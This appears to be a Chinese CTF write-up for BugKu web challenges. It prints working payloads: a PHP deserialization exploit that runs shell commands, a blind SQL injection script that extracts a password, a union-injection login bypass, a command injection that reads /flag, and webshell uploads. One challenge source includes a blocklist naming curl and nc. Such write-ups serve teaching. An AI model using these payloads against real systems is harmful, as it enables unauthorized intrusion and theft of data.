BugKu Web 刷题记录 4
参考:
ctf中的序列化和反序列化
BugKu-Web-wp1
BugKu-Web-wp2
BugKu-Web-wp3
Bugku-Web-wp4
sql注入
你从哪里来
添加Referer
字段即可。
MD5
根据提示得知是md5碰撞,故构造payload如下即可获得flag。
http://114.67.175.224:14728/index.php?a=s878926199a
|
程序员本地网站
添加client-ip
字段即可
file_get_contents
访问http://114.67.175.224:12650/flag.txt
得到bugku
,然后构造payload即可
http://114.67.175.224:12650/?ac=bugku&fn=flag.txt
|
安慰奖
F12查看源码,发现base64编码,解码后为backups
,用dirsearch扫描一遍发现有bak文件,下载下来即可获得源码
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; }
function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
|
构造payload
http://114.67.175.224:15293/?code=O:3:%22ctf%22:3:{s:11:%22%00*%00username%22;s:5:%22admin%22;s:6:%22%00*%00cmd%22;s:12:%22tac%20flag.php%22;}
|
__wakeup 将在序列化之后立即被调用,绕过它仅需要将上面的对象属性个数值改得比真实对象大即可。
文件上传
修改字段信息上传文件
使用蚁剑连接,寻找flag
参考:BugKu-Web-wp1
decrypt
解压后获得源码
<?php function encrypt($data,$key) { $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str); } ?>
|
可以看到里面是个加密函数,故构造解密函数即可,exp如下(注意提交的Flag形式)
<?php $input = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='; function decrypt($str){ $str = base64_decode($str); $len = strlen($str); $key = md5('ISCC'); $klen = strlen($key); $x = 0; $char = ''; for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } $data = ''; for ($i=0; $i < $len; $i++) { $data .= chr((128 + ord($str[$i]) - ord($char[$i])) % 128); } return $data; } echo decrypt($input); ?>
|
文件包含2
F12查看发现有upload.php,然后用burp进行文件上传
用蚁剑进行连接并寻找flag
需要管理员
用dirsearch扫一遍
进入robots.txt
进入resusl.php
观察页面发现需要输入密码,可以使用burpsuite爆破也可以根据题目名称猜测得到(密码是admin)
newphp
打开网页即可获得源码,根据源码构造payload
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
|
base64解码后得到
<?php $hint = "index.cgi";
|
访问该页面
构造payload
http://114.67.175.224:11918/index.cgi?name=%20file:////flag
|
参考:BugKu-Web-wp2
点login咋没反应
进入后查看网页源代码发现有href="admin.css"
,点进去后发现第一行有提示/* try ?29614 */
,加入后缀后即可获得源代码
<?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['29614'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html>
<?php } ?>
|
审计后发现构造序列化字符串使得其反序列化后与$KEY
的值恒等即可
都过滤了
登录界面的账号一栏可以被sql注入,编写脚本获取密码
import requests import os import re import base64
def change_data(uname,data): data['uname'] = uname def len_of_passwd(url,data,cookie,uname): for i in range(1, 100): uname = "admin'^(length(passwd)=" + str(i) + ")^'" change_data(uname,data) r = requests.post(url=url, cookies=cookie, data=data) if "username error!!@_@" in r.text: return i def get_passwd(url,data,cookie,uname,length): password = '' for i in range(1, length+1): for ch in '0123456789abcdefghijklmnopqrstuvwxyz': uname = "admin'-(ascii(mid((passwd)from(" + str(i) + ")))=" + str(ord(ch)) + ")-'" change_data(uname,data) r = requests.post(url=url, cookies=cookie, data=data) if "username error!!@_@" in r.text: password += ch break print("password:",password) url = "http://114.67.175.224:11041/login.php" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0' } cookie = { 'PHPSESSID':'nnff401s86pvr720ouq5qe0k40' } uname = 'admin' data = { 'uname':uname, 'passwd':'123123' } length = len_of_passwd(url,data,cookie,uname) get_passwd(url,data,cookie,uname,length)
|
登陆后输入命令{cat,/flag}
即可获得flag
参考:BugKu-Web-wp3
login2
用burp抓包发现有tip字段,base64解码即可得到提示
$sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }
|
构造username=admin' union select 1,md5(123)#
和password=123
即可创建一个不存在的用户通过验证,进入后使用命令123| cat /flag > test
,然后进入网址http://114.67.175.224:15394/test
即可获得flag。
参考:Bugku-Web-wp4
还有反弹shell的做法:https://www.jianshu.com/p/4f8d8d8b7b31
sql注入
盲猜账号admin
和密码bugkuctf
,然后直接拿到了flag。
大佬的注入过程:sql注入